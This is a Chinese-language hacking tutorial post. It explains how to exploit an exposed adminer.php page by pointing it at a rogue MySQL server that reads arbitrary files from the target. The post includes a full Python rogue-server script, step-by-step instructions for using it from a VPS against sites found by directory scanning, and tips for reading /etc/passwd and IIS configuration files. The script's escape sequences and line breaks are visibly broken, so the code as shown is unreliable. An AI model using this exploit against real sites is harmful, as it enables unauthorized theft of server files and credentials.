這個(gè)漏洞我沒有找到具體的出處,所以我沒有詳述此漏洞的前因后果,但是因?yàn)橛泻軓?qiáng)的實(shí)戰(zhàn)性,有必要分享給大家。
簡(jiǎn)單一點(diǎn)講,如果你掃描網(wǎng)站目錄,恰巧碰上了adminer.php這個(gè)鏈接,恭喜你,不需要密碼,基本你可以搞定此站了。
利用的工具M(jìn)ySQL.py,代碼如下:
#coding=utf-8
import socket
import loggingimport syslogging.basicConfig(level=logging.DEBUG)filename=sys.argv[1]
sv=socket.socket()sv.setsockopt(1,2,1)
sv.bind(("",3306))
sv.listen(5)
conn,address=sv.accept()logging.info('Conn from: %r', address)
conn.sendall("x4ax00x00x00x0ax35x2ex35x2ex35x33x00x17x00x00x00x6ex7ax3bx54x76x73x61x6ax00xffxf7x21x02x00x0fx80x15x00x00x00x00x00x00x00x00x00x00x70x76x21x3dx50x5cx5ax32x2ax7ax49x3fx00x6dx79x73x71x6cx5fx6ex61x74x69x76x65x5fx70x61x73x73x77x6fx72x64x00")
conn.recv(9999)
logging.info("auth okay")
conn.sendall("x07x00x00x02x00x00x00x02x00x00x00")
conn.recv(9999)
logging.info("want file...")
wantfile=chr(len(filename)+1)+"x00x00x01xFB"+filename
conn.sendall(wantfile)content=conn.recv(9999)
logging.info(content)conn.close()
實(shí)戰(zhàn)測(cè)試:
第一步,在VPS上執(zhí)行此代碼。
我文章是用我的虛擬機(jī)和物理機(jī)演示的。在我的虛擬機(jī)kali上執(zhí)行的:Python mysql.py "要讀的目標(biāo)站點(diǎn)的文件"

我KALI虛擬機(jī)的IP地址是192.168.1.5

保障你的VPS中的用這個(gè)mysql.py開的3306端口是可以被外部連上的。
第二步,打開目標(biāo)站的adminer.php,輸入vps的地址,用戶名和密碼亂寫就可以。
我是用本機(jī)的物理機(jī)演示的。

第三步,點(diǎn)擊登陸,在你的vps上就得到要讀的止標(biāo)站點(diǎn)文件的源碼了。

在上圖中,我讀的是物理機(jī)中的d:/1.bat,因?yàn)?.bat里有中文,所以有亂碼。
另外,有個(gè)小技巧,如果不知物理目錄的話,你可以在第一步中執(zhí)行python mysql.py “xxx",有可能暴出物理目錄。當(dāng)然,你也可以讀/etc/passwd,iis下的配置文件來得到目標(biāo)站的物理目錄。還有,如果復(fù)制本文中代碼不方便的話,也可以利用https://github.com/allyshka/Rogue-MySql-Server此腳本。